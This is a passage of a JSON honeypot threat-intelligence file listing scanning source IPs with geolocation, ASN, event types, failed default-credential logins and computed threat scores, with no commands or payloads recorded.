      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Caracas",
      "asn": 27889,
      "as_org": "Telecomunicaciones MOVILNET",
      "threat_score": 14.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T10:43:11.867000+00:00",
        "last_seen_30d": "2026-05-22T10:59:52.641000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "64.62.156.39": {
      "attack_count": 4,
      "first_seen": "2026-05-13T00:50:07.611Z",
      "last_seen": "2026-05-13T00:50:11.626Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 72.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 16.0,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 40,
        "days_active_30d": 29,
        "ports_targeted_30d": 25,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T15:47:39.599000+00:00",
        "last_seen_30d": "2026-05-30T08:53:58.471000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 30,
        "Honeytrap": 6,
        "Cowrie": 4
      }
    },
    "86.41.211.249": {
      "attack_count": 4,
      "first_seen": "2026-05-11T07:48:31.579Z",
      "last_seen": "2026-05-11T07:50:32.283Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ireland",
      "country_code": "IE",
      "city": "Donadea",
      "asn": 5466,
      "as_org": "Eir Broadband",
      "threat_score": 13.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.4,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T09:55:45.043000+00:00",
        "last_seen_30d": "2026-05-14T08:19:57.638000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 4
      }
    },
    "103.75.199.78": {
      "attack_count": 3,
      "first_seen": "2026-05-15T21:32:20.528Z",
      "last_seen": "2026-05-15T21:33:21.706Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 212552,
      "as_org": "BitCommand LLC",
      "threat_score": 9.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T21:32:20.528000+00:00",
        "last_seen_30d": "2026-05-15T21:34:28.053000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "146.190.29.141": {
      "attack_count": 3,
      "first_seen": "2026-05-14T13:20:26.676Z",
      "last_seen": "2026-05-14T13:20:27.054Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 23.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.4,
        "persistence": 12.5,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 15,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-03T06:21:49.520000+00:00",
        "last_seen_30d": "2026-05-17T09:17:09.378000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 3,
        "Honeytrap": 1
      }
    },
    "162.240.226.121": {
      "attack_count": 3,
      "first_seen": "2026-05-25T20:32:35.887Z",
      "last_seen": "2026-05-25T20:32:35.889Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 46606,
      "as_org": "Unified Layer",
      "threat_score": 41.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 11.1,
        "persistence": 20.0,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 24,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T17:57:31+00:00",
        "last_seen_30d": "2026-05-25T20:33:42.478000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Cowrie": 3,
        "Honeytrap": 1
      }
    },
    "83.229.8.197": {
      "attack_count": 3,
      "first_seen": "2026-05-24T16:42:24.725Z",
      "last_seen": "2026-05-24T16:43:28.710Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Agropoli",
      "asn": 39120,
      "as_org": "Convergenze S.p.A.",
      "threat_score": 45.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 20.3,
        "persistence": 5.8,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 107,
        "days_active_30d": 7,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-24T16:42:24.725000+00:00",
        "last_seen_30d": "2026-05-30T18:39:48.466000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 60,
        "Tanner": 44,
        "Cowrie": 3
      }
    },
    "86.53.104.148": {
      "attack_count": 3,
      "first_seen": "2026-05-23T11:24:07.103Z",
      "last_seen": "2026-05-23T11:25:11.117Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 3257,
      "as_org": "GTT Communications Inc.",
      "threat_score": 14.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T11:24:07.103000+00:00",
        "last_seen_30d": "2026-05-23T11:26:15.237000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "103.232.130.252": {
      "attack_count": 2,
      "first_seen": "2026-05-12T15:01:46.768Z",
      "last_seen": "2026-05-12T15:02:02.452Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Hyderabad",
      "asn": 45916,
      "as_org": "Gujarat Telelink Pvt Ltd",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T15:01:46.768000+00:00",
        "last_seen_30d": "2026-05-12T15:03:07.768000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "112.103.93.4": {
      "attack_count": 2,
      "first_seen": "2026-05-22T15:34:29.873Z",
      "last_seen": "2026-05-22T15:35:03.416Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T15:34:29.873000+00:00",
        "last_seen_30d": "2026-05-22T15:36:11.473000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "114.230.90.34": {
      "attack_count": 2,
      "first_seen": "2026-05-02T04:10:56.485Z",
      "last_seen": "2026-05-02T04:11:09.406Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T04:10:56.485000+00:00",
        "last_seen_30d": "2026-05-02T04:12:18.486000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "115.98.93.235": {
      "attack_count": 2,
      "first_seen": "2026-05-17T13:54:24.537Z",
      "last_seen": "2026-05-17T13:54:37.732Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Hyderabad",
      "asn": 17488,
      "as_org": "Hathway IP Over Cable Internet",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T13:54:24.537000+00:00",
        "last_seen_30d": "2026-05-17T13:55:47.386000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "121.239.228.117": {
      "attack_count": 2,
      "first_seen": "2026-05-23T06:05:44.821Z",
      "last_seen": "2026-05-23T06:06:21.745Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 13.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T06:05:44.821000+00:00",
        "last_seen_30d": "2026-05-23T06:07:27.471000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "122.241.22.83": {
      "attack_count": 2,
      "first_seen": "2026-05-22T21:09:10.392Z",
      "last_seen": "2026-05-22T21:09:23.616Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T21:09:10.392000+00:00",
        "last_seen_30d": "2026-05-22T21:10:29.849000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "122.247.94.4": {
      "attack_count": 2,
      "first_seen": "2026-05-02T17:48:06.454Z",
      "last_seen": "2026-05-02T17:48:19.146Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T17:48:06.454000+00:00",
        "last_seen_30d": "2026-05-02T17:49:20.385000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "143.208.148.59": {
      "attack_count": 2,
      "first_seen": "2026-05-02T20:30:13.216Z",
      "last_seen": "2026-05-02T20:30:25.343Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Jaguar\u00e3o",
      "asn": 264092,
      "as_org": "STA TELECOM LTDA",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T20:30:13.216000+00:00",
        "last_seen_30d": "2026-05-02T20:31:30.851000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "147.185.155.24": {
      "attack_count": 2,
      "first_seen": "2026-05-04T05:48:43.104Z",
      "last_seen": "2026-05-04T05:49:14.207Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 29852,
      "as_org": "Honest Networks, LLC",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T05:48:43.104000+00:00",
        "last_seen_30d": "2026-05-04T05:50:21.203000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "149.71.34.194": {
      "attack_count": 2,
      "first_seen": "2026-05-16T05:00:54.726Z",
      "last_seen": "2026-05-16T05:01:07.876Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Rahim Yar Khan",
      "asn": 134489,
      "as_org": "S. B Link Network",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T05:00:54.726000+00:00",
        "last_seen_30d": "2026-05-16T05:02:09.463000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "169.224.11.215": {
      "attack_count": 2,
      "first_seen": "2026-05-08T16:37:34.075Z",
      "last_seen": "2026-05-08T16:37:46.426Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iraq",
      "country_code": "IQ",
      "city": "Baghdad",
      "asn": 199739,
      "as_org": "Earthlink Telecommunications Equipment Trading & Services DMCC",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T16:37:34.075000+00:00",
        "last_seen_30d": "2026-05-08T16:38:51.119000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "175.10.24.124": {
      "attack_count": 2,
      "first_seen": "2026-05-07T14:47:51.961Z",
      "last_seen": "2026-05-07T14:48:07.884Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T14:47:51.961000+00:00",
        "last_seen_30d": "2026-05-07T14:49:11.665000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "179.125.155.132": {
      "attack_count": 2,
      "first_seen": "2026-05-12T01:39:07.520Z",
      "last_seen": "2026-05-12T01:41:07.522Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Campinas",
      "asn": 28649,
      "as_org": "Desktop Sigmanet Comunicacao Multimidia SA",
      "threat_score": 6.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T01:39:07.520000+00:00",
        "last_seen_30d": "2026-05-12T01:51:53.761000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "181.121.129.109": {
      "attack_count": 2,
      "first_seen": "2026-05-17T21:41:09.917Z",
      "last_seen": "2026-05-17T21:41:23.084Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Paraguay",
      "country_code": "PY",
      "city": "Encarnaci\u00f3n",
      "asn": 23201,
      "as_org": "Telecel S.A.",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T21:41:09.917000+00:00",
        "last_seen_30d": "2026-05-17T21:42:27.027000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "187.189.49.206": {
      "attack_count": 2,
      "first_seen": "2026-05-13T01:04:29.713Z",
      "last_seen": "2026-05-13T01:04:41.685Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Ju\u00e1rez",
      "asn": 17072,
      "as_org": "TOTAL PLAY TELECOMUNICACIONES SA DE CV",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T01:04:29.713000+00:00",
        "last_seen_30d": "2026-05-13T01:05:43.046000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "187.251.123.70": {
      "attack_count": 2,
      "first_seen": "2026-05-15T06:39:58.282Z",
      "last_seen": "2026-05-15T06:39:58.284Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Valle de Chalco",
      "asn": 22884,
      "as_org": "TOTAL PLAY TELECOMUNICACIONES SA DE CV",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T06:39:58.282000+00:00",
        "last_seen_30d": "2026-05-15T06:41:03.165000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "201.235.161.20": {
      "attack_count": 2,
      "first_seen": "2026-05-24T00:50:58.519Z",
      "last_seen": "2026-05-24T00:52:58.520Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Olavarr\u00eda",
      "asn": 7303,
      "as_org": "Telecom Argentina S.A.",
      "threat_score": 15.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T00:50:58.519000+00:00",
        "last_seen_30d": "2026-05-24T00:54:41.688000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "216.16.128.182": {
      "attack_count": 2,
      "first_seen": "2026-05-25T06:01:08.624Z",
      "last_seen": "2026-05-25T06:01:21.972Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Tulsa",
      "asn": 22773,
      "as_org": "Cox Communications Inc.",
      "threat_score": 14.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T06:01:08.624000+00:00",
        "last_seen_30d": "2026-05-25T06:02:29.199000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "37.142.211.137": {
      "attack_count": 2,
      "first_seen": "2026-05-31T12:48:01.386Z",
      "last_seen": "2026-05-31T12:48:15.347Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Israel",
      "country_code": "IL",
      "city": "Ramat Yishai",
      "asn": 12849,
      "as_org": "Hot-Net internet services Ltd.",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T12:48:01.386000+00:00",
        "last_seen_30d": "2026-05-31T12:49:23.961000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "41.214.56.47": {
      "attack_count": 2,
      "first_seen": "2026-05-08T21:29:29.006Z",
      "last_seen": "2026-05-08T21:29:42.538Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Senegal",
      "country_code": "SN",
      "city": "Dakar",
      "asn": 8346,
      "as_org": "SONATEL SONATEL-AS Autonomous System",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T21:29:29.006000+00:00",
        "last_seen_30d": "2026-05-08T21:30:47.422000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "49.43.92.81": {
      "attack_count": 2,
      "first_seen": "2026-05-09T14:43:30.239Z",
      "last_seen": "2026-05-09T14:43:43.771Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Ludhiana",
      "asn": 55836,
      "as_org": "Reliance Jio Infocomm Limited",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
